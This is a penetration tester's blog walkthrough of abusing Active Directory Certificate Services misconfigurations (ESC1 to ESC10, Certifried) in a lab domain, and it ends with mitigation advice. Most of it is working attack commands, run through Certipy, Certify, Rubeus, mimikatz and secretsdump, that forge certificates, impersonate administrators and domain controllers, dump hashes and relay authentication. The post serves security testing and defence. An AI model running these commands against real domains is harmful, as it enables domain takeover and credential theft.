Skidaddle Skideldi - I just pwnd your PKI

My dear Bagginses and Boffins, Tooks and Brandybucks, Grubbs, Chubbs, Hornblowers, Bolgers, Bracegirdles and Proudfoots - it is time for some new shit.
We are going to explore the wonderful world of Active Directory Certificate Services, aka ADCS.
If you want to leave an impression on your next pentest, this one’s for you, as Microsoft’s PKI implementation is widely used but little understood (well at least in terms of security).
Same is true if you live on the blue side, as you can proactively mitigate issues an earn some bonus points with your boss, maybe.
Prepare yourself for a shitload of pictures, memes, usefull as well as meaningless information.


If you have not already done so, go and read the fundamental work which this blog relies on: Certified Pre-Owned.
It is the research from the SpecterOps guys Will Schroeder and Lee Christensen in the field of ADCS abuses and their mitigations.

If you are just here to pwn stuff, you can directly jump to your desired section:
ESC 10

So what is ADCS?

The Active Directory Certificate Service(s) is one of the 5 main Active Directory services from Microsoft, included (or at least installable) since Windows Server 2008 -> Microsoft. During my pentests, I have not seen one environment, where ADCS was not installed and in use.
It’s Microsoft’s Public Key Infrastructure implementation for AD, or if you are as dumb as me, the service that introduces and handles certificates to your Active Directory.
Certificates can be used to authenticate users and computers, proof validity of a website (you know the little thingy in your browsers searchbar, where it warns you when the cert is invalid) or signing, e.g. a PowerShell script or executable.

During their research, Will and Lee stumbled upon a lot of possible ways to abuse ADCS, and have the Certificate Authority do things like issue certs for other users to us, relay a Domain Controller’s authentication to the cert enrollment endpoint, so we could “become” a Domain Controller, and so on. They split the attacks into certain groups, which are: Theft, Persistence, Escalation and Domain Persistence. We will mainly (and maybe only) focus on the escalation ones in this blog post.

Later on Oliver Lyak extended the list of vulns (Certifried, ESC9&10) and even wrote according tools to abuse those. Big shoutout to you as well buddy.

And how does it work?

Well, there are some components/terms that we first need to be aware of:

  • Certificate Authortiy: That is the PKI server that generates and issues the certificates
  • Enterprise CA: The AD integrated CA, which offers certificate templates
  • Certificate Template: Thats like a blueprint for a cert, which defines what a cert is for, what an enrollee needs to supply as info, who is allowed to enroll and so on
  • Certificate Signing Request: That is the data one sends to the CA in order to get a cert
  • Extended Key Usage: These are OIDs that define what a cert can be used for, for example signing, authentication etc.
  • Certificate: A digitally signed (by the CA) “document” that can be used for the stuff specified within the EKU. It ties an identity to a key pair (public/private), which allows applications to identify them.
  • Subject: The identity the cert is bound to
  • PKINIT: A Kerberos extension that enables the usage of certs to request tickets

To give you an overview of how a cert is issued, have a look at the following pic:

from Certified Pre-Owned

A certificate is an X.509-formatted digitally signed document used for encryption, message signing, and/or authentication. A certificate typically has various fields, including some of the following:

  • Subject - The owner of the certificate.
  • Public Key - Associates the Subject with a private key stored separately.
  • NotBefore and NotAfter dates - Define the duration that the certificate is valid.
  • Serial Number - An identifier for the certificate assigned by the CA.
  • Issuer - Identifies who issued the certificate (commonly a CA).
  • SubjectAlternativeName - Defines one or more alternate names that the Subject may go by.
  • Basic Constraints - Identifies if the certificate is a CA or an end entity, and if there are any constraints when using the certificate.
  • Extended Key Usages (EKUs) - Object identifiers (OIDs) that describe how the certificate will be used. Also known as Enhanced Key Usage in Microsoft parlance. Common EKU OIDs include:
    • Code Signing (OID - The certificate is for signing executable code.
    • Encrypting File System (OID - The certificate is for encrypting file systems.
    • Secure Email ( - The certificate is for encrypting email.
    • Client Authentication (OID - The certificate is for authentication to another server (e.g., to AD).
    • Smart Card Logon (OID - The certificate is for use in smart card authentication.
    • Server Authentication (OID - The certificate is for identifying servers (e.g., HTTPS certificates).
  • Signature Algorithm - Specifies the algorithm used to sign the certificate.
  • Signature - The signature of the certificates body made using the issuer’s (e.g., a CA’s) private key

also from Certified Pre-Owned

I will try to walk you and me through all the possible misconfigurations, as well as pwning them.
So without further ado - let’s have some fun.


In the following we will dive through all the different escalation scenarios.

General recon

To gather general info about the CAs in the Domain we can use:


certutil -dump


Certify.exe cas


Certipy find -u 'lowpriv@mcafeelab.local' -p 'low' -dc-ip '' -stdout

Or we could just open the according mmc snap-ins on the CA itself - GUI style so to say.


In this scenario we are dealing with a misconfigured certificate template, which allows normal users to enroll. The template allows client authenticataion and the requester can specify a subjectAltName (SAN). There is also no manager approval -> the request gets auto approved. The SAN allows the cert to hold one or more additional identities beyond the subject itself, which’s main purpose is in the context of webservers. For AD authentication, the SAN normaly holds the UPN of the according identity, which is then mapped to an AD account. If you followed along closely, you probably noticed that if we can control the SAN, we can become whoever we like to.

What it looks like in AD

We have Client Authentication as purpose:

All domain users can enroll:

Enrolee supplies the subject:

No manager approval:


Well, you could probably just open certmgr.msc and look if any of the templates ask for additional input, and then check if you can supply a SAN.
However, we can also issue the tools mentioned above to automate this.

Native PowerShell

Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage= (pkiextendedkeyusage=' -SearchBase 'CN=Configuration,DC=mcafeelab,DC=local'


Certify.exe find /enrolleeSuppliesSubject
Certify.exe find /vulnerable /currentuser


certipy find -u 'lowpriv@mcafeelab.local' -p 'low' -dc-ip '' -stdout -vulnerable


Manually and Rubeus

We can simply abuse this manually the GUI way with the help of certmgr.msc:

Specify our CN and as alternative name the UPN of the Administrator@mcafeelab.local user:

We now have a cert with Administrator as the SAN:

Export the cert as pfx:

Nicely ask the DC for a TGT with Rubeus and do a pass the ticket attack:

.\Rubeus.exe asktgt /domain:mcafeelab.local /dc:dc2016-2.mcafeelab.local /user:Administrator /certificate:esc1.pfx /password:test /ptt


.\Certify.exe request /ca:'DC2016-2.mcafeelab.local\mcafeelab-DC2016-2-CA-1' /template:"ESC1" /altname:"Administrator"
.\Certify.exe request /ca:'DC2016-2.mcafeelab.local\mcafeelab-DC2016-2-CA-1' /template:"ESC1" /altname:"Administrator" /install

The /install flag will …

… install the requested cert to our current user’s cert store.
This allows us to export the cert as described in Manually and Rubeus via the GUI, without the need for some linux / openSSL magic.

But we can of course go the openSSL route to create the cert:

openssl pkcs12 -in cert -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx 

and then let Rubeus do its magic.


Certipy can be leveraged to request a ticket and fetch a TGT and get the pwnd user’s NT hash - Thank you Oliver for Certipy <3

certipy req -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -ca 'mcafeelab-DC2016-2-CA-1' -template 'ESC1' -upn 'Administrator@mcafeelab.local'
certipy auth -pfx 'administrator.pfx' -dc-ip '' -username 'Administrator' -domain 'mcafeelab.local'

We can now do some PTH thingy to pwn the domain: -just-dc -hashes 'aad3b435b514...:...f7207931' 'mcafeelab.local/Administrator@dc2016-2.mcafeelab.local' 


No matter how often I red through all the stuff I found regarding ESC2, I can’t wrap my head around it completely.
It describes the case, where there is either the Any purpose SKU set, or no SKU at all (which would be called a SubCA cert), which utlimately would allow the cert to be used for anything we like. Also low priv users need enrollment rights and no manager approval is in place.
It is however not abusable like ESC1, if we can’t specifiy the SAN.
A cert with no SKU could additionally be used to sign other certs. Unfortunately these can’t be used for domain auth by default, as the NTAuthCertificates(see p. 14 of the whitepaper) object won’t trust them.
So the abuse cases are not clear to me. We might stumble upon a cert in a forgotten folder of some other user, maybe. But we are not able to request them. The thing that comes to my mind is relaying, and that might actually work.
UPDATE: After releasing the blog, Oliver reached out to me and helped me at quite some topics regarding ADCS. In this case you can abuse ESC2 exactly like ESC3, if the templates you want to target are Schema Version 1, which is true for all the default templates (like Doman Controller, Client, Computer and so on).

Will and Lee at least gave us a tip on how to search for them.

Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=

This did not work in my environment. Shortening the query a bit, at least narrowed down the results:

Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(pkiextendedkeyusage=' -SearchBase 'CN=Configuration,DC=mcafeelab,DC=local' 

But you can still just use the before mentioned tools and search for the according attribute:


Here we are facing a cert template with the Certificate Request Agent EKU (OID A cert issued from this template enables us to request a cert on behalf of any user, by co-signing a new CSR for a template that allows for enroll on behalf of (reminds me of the delegation brainfuck :) ).
For this to work, we obviously need to meet two conditions:

  1. Low priv user enrollment rights, no manager approval, Certificate Request Agent EKU is defined
  2. Low priv user enrollment rights, no manager approval, issuing requires Certificate Request Agent cert, template allows for domain auth

What it looks like in AD


Look out for the afore mentioned prerequisits. However Certify and Certipy did not recognize the 2nd prerequisit matching templates as vulnerable. You can find them as follows:

Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(msPKI-RA-Application-Policies=' -SearchBase 'CN=Configuration,DC=mcafeelab,DC=local'

I opened a pull request for Certify. Could also quickly be done for Certipy I guess, but man I have to get this blog post rolling.
Please be aware that, due to some code changes (not related to my PR, as this also happens without it), the output is mangled up:


 .\Certify.exe find

/vulnerable would give me the first template, the 2nd one however did not pop up, which makes no sense, as it won’t be abusable if not both templates are available.


Same situation as with Certify, only the first required template is found and flagged:

certipy find -u 'lowpriv@mcafeelab.local' -p 'low' -dc-ip '' -stdout -vulnerable 


Well, strange issues here again. If I happened to specify the onbehalfof parameter in both tools, I would get an error if I used mcafeelab.local\Administrator. Leaving away the .local part works like a charm:


.\Certify.exe request /ca:'DC2016-2.mcafeelab.local\mcafeelab-DC2016-2-CA-1' /template:"ESC3_1" /install
.\Certify.exe request /ca:'DC2016-2.mcafeelab.local\mcafeelab-DC2016-2-CA-1' /template:ESC3_2 /onbehalfof:mcafeelab\god /enrollcert:ESC3_1.pfx /enrollcertpw:'Pillemann123!'
openssl pkcs12 -in cert -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx  
.\Rubeus.exe asktgt /domain:mcafeelab.local /dc:dc2016-2.mcafeelab.local /user:Administrator /certificate:esc3_2.pfx /password:test /ptt


certipy req -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -ca 'mcafeelab-DC2016-2-CA-1' -template 'ESC3_1'
certipy req -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -ca 'mcafeelab-DC2016-2-CA-1' -template 'ESC3_2' -on-behalf-of 'mcafeelab\Administrator' -pfx lowpriv.pfx
certipy auth -pfx 'administrator.pfx' -dc-ip '' -username 'Administrator' -domain 'mcafeelab.local' -just-dc -hashes 'aad3b435b514...:...f7207931' 'mcafeelab.local/Administrator@dc2016-2.mcafeelab.local'


This one is fun because it happens when someone fucked up with the ACLs on the AD object -> you can alter the template with an unintended user. This might ultimately end up in a situation where we can compromise an otherwise unabusable template.

This is abusable if we have write or full access to a template!

What it looks like in AD



 .\Certify.exe find -vulnerable


certipy find -u 'lowpriv@mcafeelab.local' -p 'low' -dc-ip '' -stdout -vulnerable 


Well in this case we can’t work with Certify or Certipy (see below update) alone, because we need to alter the AD object / cert template. For this reason we are going to use Will’s PowerView or Fortalice Solutions’s modifyCertTemplate respectively.

PowerView & Certify

# Give users enrollment rights  
Add-DomainObjectAcl -TargetIdentity ESC4 -PrincipalIdentity "Domänen-Benutzer" -RightsGUID "0e10c968-78fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=mcafeelab,DC=local" -Verbose  

# Disable manager approval
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=mcafeelab,DC=local" -Identity ESC4 -XOR @{'mspki-enrollment-flag'=2} -Verbose

# Disable signature required
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=mcafeelab,DC=local" -Identity ESC4 -Set @{'mspki-ra-signature'=0} -Verbose

# Enable enrollee supplies subject
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=mcafeelab,DC=local" -Identity ESC4 -XOR @{'mspki-certificate-name-flag'=1} -Verbose

# Set application policy extension to client authentication
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=mcafeelab,DC=local" -Identity ESC4 -Set @{'mspki-certificate-application-policy'=''} -Verbose

Before and after altering the cert template:

.\Certify.exe request /ca:'DC2016-2.mcafeelab.local\mcafeelab-DC2016-2-CA-1' /template:"ESC4" /altname:"Administrator" /install

# Export the cert

.\Rubeus.exe asktgt /domain:mcafeelab.local /dc:dc2016-2.mcafeelab.local /user:Administrator /certificate:esc4.pfx /password:test /ptt


certipy req -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -ca 'mcafeelab-DC2016-2-CA-1' -template 'ESC4' -upn 'Administrator@mcafeelab.local'
certipy auth -pfx 'administrator.pfx' -dc-ip '' -username 'Administrator' -domain 'mcafeelab.local' -just-dc -hashes 'aad3b435b514...:...f7207931' 'mcafeelab.local/Administrator@dc2016-2.mcafeelab.local'  

UPDATE: Well, again I was wrong, and Oliver added a standalone approach:

certipy template -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -template 'ESC4_1'

This will make the template vulnerable to ESC1
Before and after Certipy pwnage:

If you are on an engeagement, you might want to use the -safe-old switch to save the before-version and preserve teh ability to roll back the settings, once you have abused the template.
More on this on Oliver`s blog.


This case describes all other possible scenarios around ACLs. Which might include:

  • Pwning the CA server itself to tamper around with templates and stuff, through maybe RBCD attack or a direct way like local admin
  • ACLs wrongly set somewhere up the line in AD - maybe where some set descendant rights somewhere in the config tree
  • The CA server’s RPC/DCOM server

There is no direct abuse path, but you can use the before mentioned stuff as a guideline on how to proceed if this stuff here happens.
UPDATE: Shortly after my release I stumbled upon n00py’s tweet about ways to abuse a pwnd PKI server:
The answer to success was the golden cert attack, which is described here:
So if we pwn a PKI server (local admin is sufficient) we can forge a cert for everyone we like - even offline, like it is done with the golden ticket attack for Kerberos.


GUI style with mimikatz

We can use Mimikatz to forge certs directly on the CA server for any user for us if we are local admin:

crypto::scauth /caname:mcafeelab-DC2016-2-CA-1 /upn:Administrator@mcafeelab.local

Afterwards we can export the cert and use it to authenticate like described in e.g. ESC1.

We can alternatively export the CAs cert and key manually.
RDP to the server as admin, open certsrv.msc and trigger the Backup up CA function:

Select to export the private key and CA cert, to fetch the according p12 file:

You can now use tools like ForgeCert or Certipy to go on.


As for mostly all cases, Oliver automated the abuse capability in Certipy. If you owned a user which is admin on the CA just do:

Backup the CA cert

certipy ca -backup -u 'localadmin' -p 'test' -target 'dc2016-2.mcafeelab.local' -ca 'mcafeelab-DC2016-2-CA-1'

Forge a cert to whom we want to:

certipy forge -ca-pfx mcafeelab-DC2016-2-CA-1.pfx -upn god@mcafeelab.local -subject 'CN=god,CN=Users,DC=mcafeelab,DC=local'

And authenticate as that user:

certipy auth -pfx 'god_forged.pfx' -dc-ip ''


Here we are talking about a CA specific setting which is the EDITF_ATTRIBUTESUBJECTALTNAME2 flag.
This setting allows us, even when the template is set to build the subject name from the AD object, to specify a Subject Alternative Name.
This also means, that EVERY template for authentication is pwnable, when this flag is set.
This was fixed by Microsoft in the patch for CVE-2022–26923 (may still be worth looking for).



certutil -config "DC2016-2.mcafeelab.local\mcafeelab-DC2016-2-CA-1" -getreg policy\EditFlags


.\Certify.exe find


certipy find -u 'lowpriv@mcafeelab.local' -p 'low' -dc-ip '' -stdout -vulnerable



.\Certify.exe request /ca:'DC2016-2.mcafeelab.local\mcafeelab-DC2016-2-CA-1' /template:"user" /altname:"god" /install
.\Rubeus.exe asktgt /domain:mcafeelab.local /dc:dc2016-2.mcafeelab.local /user:god /certificate:god.pfx /password:test /ptt


certipy req -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -ca 'mcafeelab-DC2016-2-CA-1' -template 'user' -upn 'ds@mcafeelab.local'
certipy auth -pfx 'ds.pfx' -dc-ip '' -username 'ds' -domain 'mcafeelab.local'


Here again we are talking about ACLs, this time on the CA itself. We can grant the rights to manage the CA as well as the ones to issue and manage certs:

Equipped with these rights, we can either directly alter the CA’s config, or approve pending requests.
If we want to abuse all this shit on a Windows box, we need the PSPKI PowerShell modules.

# If you run into problems to install it, enable TLS 1.2
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

Install-Module -Name PSPKI
Import-Module PSPKI


If we happen to have direct access to a CA, we can check just the settings from the introduction of this chapter.


Get-CertificationAuthority -ComputerName dc2016-2.mcafeelab.local | Get-CertificationAuthorityAcl | select -ExpandProperty access


If a user has the Manage CA rights, he can remotely edit the EDITF_ATTRIBUTESUBJECTALTNAME2 - aka ESC6 - to be able to specify a SAN for ALL authentication templates afterwards.


# Get the current value of ``EDITF_ATTRIBUTESUBJECTALTNAME2``, modify it and check again
$configReader = New-Object SysadminsLV.PKI.Dcom.Implementations.CertSrvRegManagerD "dc2016-2.mcafeelab.local"
$configReader.GetConfigEntry("EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
$configReader.SetConfigEntry(1376590, "EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")

# Verify with certutil
certutil.exe -config "CA.domain.local\CA" -getreg "policy\EditFlags"

You can now stick to ESC6.


Certipy can be used in this scenario to give a user the Issue and Manage Certificates right.

certipy ca -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -ca 'mcafeelab-DC2016-2-CA-1' -add-officer 'ds'

If a user has the Issue and Manage Certificates rights, he is able to approve pending requests, which allows us to “bypass” the manager approval function.


  • Request a certificate that requires manager approval
.\Certify.exe request /ca:'DC2016-2.mcafeelab.local\mcafeelab-DC2016-2-CA-1' /template:"ESC7" /altname:"god" /install

The request is pending, and we got an ID.

  • Approve the pending request with PSPKI
Get-CertificationAuthority -ComputerName dc2016-2.mcafeelab.local | Get-PendingRequest -RequestID 731 | Approve-CertificateRequest

  • Fetch the now approved cert
.\Certify.exe download /ca:DC2016-2.mcafeelab.local\mcafeelab-DC2016-2-CA-1 /id:731

  • Copy togehter your RSA private key and the cert, and generate your pfx and pwn the world.


  • If not already availabe, enable the SubCA template (remember, this is the all purpose template). It should however be enabled by default.
certipy ca -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -ca 'mcafeelab-DC2016-2-CA-1' -enable-template SubCA

  • Try to request a cert based on the SubCA template which will obviously fail. Save the private key
certipy req -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -ca 'mcafeelab-DC2016-2-CA-1' -template subCA -upn administrator@mcafeelab.local
  • Approve the request with our superpowers
certipy ca -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -ca 'mcafeelab-DC2016-2-CA-1' -issue-request 732
  • Fetch the issued cert
certipy req -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -ca 'mcafeelab-DC2016-2-CA-1' -retrieve 732


Yeah, this was the one that initially got the most attention, and found it’s implementation in several tools that automated exploitation like impacket.
It describes the fact that we can relay an authentication to the (default enabled and to be found at http://caserver/certsrv/) HTTP enrollment endpoint, and grab certs for the relayed identities in order to impersonate them.
Suddenly coercion was a big thing again, and with the rise of PetitPotam and Co. things got really ugly.



.\Certify.exe cas


certutil.exe -enrollmentserverurl -config "dc2016-2.mcafeelab.local\mcafeelab-DC2016-2-CA-1"


Get-CertificationAuthority | select name,enroll* | fl


Coerce authentication (Dementor, Printerbug, Petitpotam, DFSCoerce, Coercer, …) or just wait. Relay with ntlmrelayx.

Whatever you read, if you want to pwn a DC -> specify the template Domain Controller Otherwise it wouldn’t work for me. Impacket uses the Machine template by default, and this can’t be used by a DC for authentication.

./ -t "http://DC2016-2.mcafeelab.local/certsrv/certfnsh.asp" --adcs -smb2support --template "Domain Controller"
python -u lowpriv -p low -d mcafeelab.local
.\Rubeus.exe asktgt /user:dc2016$ /ptt /certificate:MIIRnQIBAzCCEWcGCSq<snip>

If you are lazy, you can try to use Batsec’s ADCSPwn, which automates the whole thing.

Now to the brainfuck part. I hoped that after the S4U stuff, I would have a nice and relaxing time, but I was wrong. I will try to keep this as simple as possible, because I don’t get it either. You can try to follow me along for Certifried, ESC9 and ESC10.


Oliver found another vulnerability in ADCS, which is widely known as Certifried. I higly recommend you to read his blog post, as it fully and understandable describes what exactly is happening.

The vulnerability allowed a low priv user to privesc to domain admin in a default setup, and was patched by Microsoft with updates for CVE-2022–26923 in May 2022. You know that some admins hate patching, don’t you?

By default, users can enroll in the User template, and computers in the Machine template, both allowing for client authentication.
The difference is, that the user certs are derived from the UPN, which a computer object does not have. Instead their certs will be derived from their dNSHostName property.
Now the tricky part:
When a user wants to authenticate via PKINIT, the KDC will lookup the UPN provided in the cert, and try to match it to a user. The UPN must be unique, so we can’t simply change the UPN of user A to the, if B already exists. When creating a computer account, the creator gets granted the Validated write to DNS host name permissions, which allows him to alter the dNSHostName property of the object, which needs to be “compliant with the computer name and domain name”. This allows us to set the DNS name to something that doesn’t already exist, like test.mcafeelab.local.

If we now request a cert as the computer, it will be issued for test.mcafeelab.local as the dNSHostName is used, as explained before.

The fun thing now is, that in contrast to the UPN, the dNSHostName doesn’t need to be unique :)
But you can’t simply swap your DNS name to dc2016.mcafeelab.local, as this again raises an error because when we update the value, AD automatically wants to also update the SPN of the object, which again needs to be unique:

Lucky for us, a creator of a computer object also has the Validated write to service principal name rights, so we can alter them as well.
As can be seen in the picture above, only the values for the SPNs with the FQDN changed. The ones that don’t, still have like HOST/WIN10X64 (without a $ at the end), not reflecting the changes to test.mcafeelab.local. If we delete the FQDN entries of our computer, we can alter the DNS property to our liking:


After altering we can set the DNS name without an error and request a cert with the new name

We can finally authenticate as the DC and fetch the NT hash for PTH or whatever:

As we can see, the cert was issued to DC2016$@mcafeelab.local - name + $. This is because the mapping of the cert to an account first tries to match the principal name in the AS-REQ package. If not found, the SAN, UPN or DNS name are the next reference for a match. During PKINIT auth the trailing $ from the principal name is stripped and the name matched to the SAMAccountName with a traling $. Please read the PKINIT & Certificate Mapping part of Oliver’s research to fully dig it.

To fix the Certifried attack vector, Microsoft implemented some countermeasures. One of them is a new security extension called szOID_NTDS_CA_SECURITY_EXT which embeds the objectSid of the requester into the cert.
Additionally MS added 2 reg keys:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel CertificateMappingMethods 
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc StrongCertificateBindingEnforcement

The CertificateMappingMethods setting describes how Schannel (instead of Kerberos) handles authentication.

If StrongCertificateBindingEnforcement is set to 0, no strong mapping checks are performed and the new szOID_NTDS_CA_SECURITY_EXT extension is ignored globally.
The newly introduced “features” of MS caused a lot of trouble, so admins were advised to revert the changes by setting the regkeys back to 0.


If you want to fully understand, please read Oliver’s research.

The main part is this that certs get mapped in a certain way:

If the certificate contains a UPN with the value john@corp.local, the KDC will first try to see if there exists a user with a userPrincipalName property value that matches. If not, it checks if the domain part corp.local matches the Active Directory domain. If there is no domain part in the UPN SAN, i.e. the UPN is just john, then no validation is performed. Next, it will try to map the user part john to an account where the sAMAccountName property matches. If this also fails, it will try to add a $ to the end of the user part, i.e. john$, and try the previous step again (sAMAccountName). This means that a certificate with a UPN value can actually be mapped to a machine account.

If the certificate contains a DNS SAN and not a UPN SAN, then the KDC will split the DNS name into a user part and a domain part, i.e. johnpc.corp.local becomes johnpc and corp.local. The domain part is then validated to match the Active Directory domain, and the user part will be appended by a $ and then mapped to an account where the sAMAccountName property matches, i.e. johnpc will be looked up as johnpc$.


There is a new msPKI-Enrollment-Flag available: CT_FLAG_NO_SECURITY_EXTENSION (0x80000). This allows to disable the szOID_NTDS_CA_SECURITY_EXT extension for a single template.

certutil -dstemplate ESC9 msPKI-Enrollment-Flag

ESC9 is only useful when StrongCertificateBindingEnforcement is set to 1 = KDC checks if there is strong cert mapping applied to the cert. If yes it grants access. If not it checks if the cert contains the new SID extension and validates it. If check ok access is granted, otherwise declined. If the extension is completely missing, access is granted if the account requesting the cert is older than the cert.

If the affected cert template additionally allows for client authentication and we have GenericWrite over another account, we can carry out the attack.


We first obtain the hash of the user we have GenericWrite rights for, in this case with the Shadow Credentials attack:

certipy shadow auto -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -account ds

Now we change the UPN of ds to be Administrator:

certipy account update -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -user ds -upn Administrator

Next we need to request a TGT as the ds user, which will give us a TGT with Administrator as UPN:

certipy req -u 'ds@mcafeelab.local' -hashes a690...7931 -target 'dc2016-2.mcafeelab.local' -ca 'mcafeelab-DC2016-2-CA-1' -template ESC9

Now we need to revert the UPN settings on the ds account back to it’s default value:

certipy account update -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -user ds -upn ds@mcafeelab.local

Lastly we can now request a TGT with our ticket which has the Administrator UPN, which will resolve to the Administrator@mcafeelab.local acount now:

certipy auth -pfx 'administrator.pfx' -dc-ip '' -domain mcafeelab.local


So the last one in the list talks about the case when the global parameter StrongCertificateBindingEnforcement = 0 - so all templates are ignoring the szOID_NTDS_CA_SECURITY_EXT setting.
The other prerequisit again is, that we have GenericWrite over another account.


Query the accordings registry key locally or remotely.


These are the same steps as in ESC9, with the addition, that we can enroll in ANY cert that has Client Authentication enabled.

But wait there is more…

There is a 2nd scenario when Schannel is used instead of Kerberos, with a slight difference. This time instead of the StrongCertificateBindingEnforcement being disabled, we have the CertificateMappingMethods containing the UPN bit flag of 0x4 - SAN certificate mapping.
This is the equivalent to the szOID_NTDS_CA_SECURITY_EXT extension for Kerberos, which can’t be applied to Schannel.
Again, if you need more info, please read Oliver’s research, especially the Schannel Certificate Mapping part.

We again need an account with GenericWrite over another account, this time one that doesn’t have an UPN - which is all machine accounts and the built in Administrator.
We’ll use the same two account from the example before.


Query the accordings registry key locally or remotely.


First we need the NT hash of our attacked user:

certipy shadow auto -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -account ds

Then we change the UPN of the ds user to DC2016$.mcafeelab.local:

certipy account update -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -user ds -upn 'DC2016$@mcafeelab.local'

No we enroll into any cert that allows client auth as ds:

certipy req -u 'ds@mcafeelab.local' -hashes a69...931 -target 'dc2016-2.mcafeelab.local' -ca 'mcafeelab-DC2016-2-CA-1' -template User

Change back the UPN to the default value:

certipy account update -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -user ds -upn 'ds@mcafeelab.local' 

And lastly jump into an ldap shell via Schannel and do some RBCD fun:

certipy auth -pfx 'dc2016.pfx' -dc-ip '' -ldap-shell
set_rbcd DC2016$ evil123$



The cool thing about certs is that by default they have a lifetime of 1 year. So no matter how often changed or how complex a password is, the cert will always grant you access to a TGT and / or the current NT hash. Just request a cert with the NT hash or password and enjoy longtime access:

Bloodhound integration

Again a cool feature from Certipy. You can export the findings of Certipy to Bloodhound with the -old-bloodhound switch:

certipy find -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -old-bloodhound

We can then e.g. look for attacks paths for some of the ESC examples like ESC6 after importing Oliver’s custom queries for Bloodhound:

If you use Oliver’s fork of Bloodhound, you can even find more ways for privesc via certs. Go read his blog.


Generally speaking, check your PKI infrastructure and use the tools and tips provided. Update regularly. Challenge regularly.

ESC1: When you really need to have the enrolee supply the SAN, at least activate Manager Approval or restrict the users who can enroll. Better turn it off completely.
ESC2: If you need those cert templates, make use of the Manager Approval or restrict the users who can enroll.
ESC3: Restrict the users who can enroll. Restrict users who can become EnrollemntAgents.
ESC4: Review the ACLs on the templates and remove unneccessary access rights.
ESC5: Review all other ACLs in your PKI and restrict as much as possible
ESC6: Apply patch for CVE-2022–26923
ESC7: Review ACLs on the PKI itself and remove unwanted access rights
ESC8: Enable HTTPS on your enrollment endpoint and disable NTLM auth or remove it completely.
Certifried: Apply patch for CVE-2022–26923
ESC9: Set StrongCertificateBindingEnforcement = 2 and/or remove the msPKI-Enrollment-Flag from the affected template -> certutil -dstemplate ESC9 msPKI-Enrollment-Flag -0x00080000
ESC10: Remove the 0x4 bit from the CertificateMappingMethods setting in the registry

Resources & Credits

Thx to Will Schroeder, Lee Christensen and Oliver Lyak for their research, tools and sharing of information regarding ADCS vulns.
I also want to give a huge shout out to Charly Bromberg and snovvcrash, who do such outstanding jobs with the Hacker Recipes and Everything is documented step by step, reduced to the absolut minimum you need to pwn and understand things.
Thx to all the others I forgot to mention, but which’s info, tools and writeups I used. I love you guys.

All the stuff I used for my “research” in absolutely chaotic order:

UPDATE 10.11.2022:
SpecterOps released a new blog taking several scenarios with abuse cases and MS patchtes into cosideration ->

Written on September 16, 2022